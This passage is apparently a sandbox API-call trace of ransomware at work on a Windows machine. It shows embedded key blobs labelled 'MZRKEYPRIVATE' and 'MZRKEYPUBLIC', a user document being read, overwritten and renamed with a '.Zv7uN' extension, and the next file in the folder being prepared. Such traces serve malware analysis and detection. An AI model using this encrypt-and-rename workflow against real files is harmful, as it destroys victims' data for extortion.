KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.557] GetCurrentThreadId () returned 0xa30 [0088.557] GetCurrentThreadId () returned 0xa30 [0088.557] GetCurrentThreadId () returned 0xa30 [0088.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.558] GetCurrentThreadId () returned 0xa30 [0088.558] GetCurrentThreadId () returned 0xa30 [0088.558] GetCurrentThreadId () returned 0xa30 [0088.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\mSDpfr6aM.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\msdpfr6am.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0088.559] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0088.559] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0088.559] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x25e0 [0088.559] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0088.559] ReadFile (in: hFile=0x118, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x25e0, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f3d4*=0x25e0, lpOverlapped=0x0) returned 1 [0088.561] CloseHandle (hObject=0x118) returned 1 [0088.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\mSDpfr6aM.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\msdpfr6am.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0088.564] WriteFile (in: hFile=0x118, lpBuffer=0x1f24130*, nNumberOfBytesToWrite=0x25e0, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f24130*, lpNumberOfBytesWritten=0x18f3e0*=0x25e0, lpOverlapped=0x0) returned 1 [0088.566] CloseHandle (hObject=0x118) returned 1 [0088.566] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\mSDpfr6aM.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\msdpfr6am.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\mSDpfr6aM.pps.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\msdpfr6am.pps.zv7un")) returned 1 [0088.567] GetCurrentThreadId () returned 0xa30 [0088.567] GetCurrentThreadId () returned 0xa30 [0088.567] GetCurrentThreadId () returned 0xa30 [0088.567] GetCurrentThreadId () returned 0xa30 [0088.568] GetCurrentThreadId () returned 0xa30 [0088.568] GetCurrentThreadId () returned 0xa30 [0088.568] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47b357e0, ftCreationTime.dwHighDateTime=0x1d5df93, ftLastAccessTime.dwLowDateTime=0x703ea1c0, ftLastAccessTime.dwHighDateTime=0x1d5e3bb, ftLastWriteTime.dwLowDateTime=0x703ea1c0, ftLastWriteTime.dwHighDateTime=0x1d5e3bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="STLq6DOc", cAlternateFileName="")) returned 1 [0088.568] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b90b40, ftCreationTime.dwHighDateTime=0x1d5e11b, ftLastAccessTime.dwLowDateTime=0xfd045470, ftLastAccessTime.dwHighDateTime=0x1d5e18f, ftLastWriteTime.dwLowDateTime=0xfd045470, ftLastWriteTime.dwHighDateTime=0x1d5e18f, nFileSizeHigh=0x0, nFileSizeLow=0x10b34, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="u5qNSJVfv61OV8 Tl4.odp", cAlternateFileName="U5QNSJ~1.ODP")) returned 1 [0088.568] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.568] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.568] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d175640, ftCreationTime.dwHighDateTime=0x1d5e50a, ftLastAccessTime.dwLowDateTime=0xc4d3bce0, ftLastAccessTime.dwHighDateTime=0x1d5d7de, ftLastWriteTime.dwLowDateTime=0xc4d3bce0, ftLastWriteTime.dwHighDateTime=0x1d5d7de, nFileSizeHigh=0x0, nFileSizeLow=0x65e7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="vctdac7wdvfxK.rtf", cAlternateFileName="VCTDAC~1.RTF")) returned 1 [0088.568] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.568] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\vctdac7wdvfxK.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\vctdac7wdvfxk.rtf"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d175640, ftCreationTime.dwHighDateTime=0x1d5e50a, ftLastAccessTime.dwLowDateTime=0xc4d3bce0, ftLastAccessTime.dwHighDateTime=0x1d5d7de, ftLastWriteTime.dwLowDateTime=0xc4d3bce0, ftLastWriteTime.dwHighDateTime=0x1d5d7de, nFileSizeHigh=0x0, nFileSizeLow=0x65e7)) returned 1 [0088.568] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\vctdac7wdvfxK.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\vctdac7wdvfxk.rtf")) returned 0x20 [0088.568] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\vctdac7wdvfxK.rtf", dwFileAttributes=0x80) returned 1 [0088.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 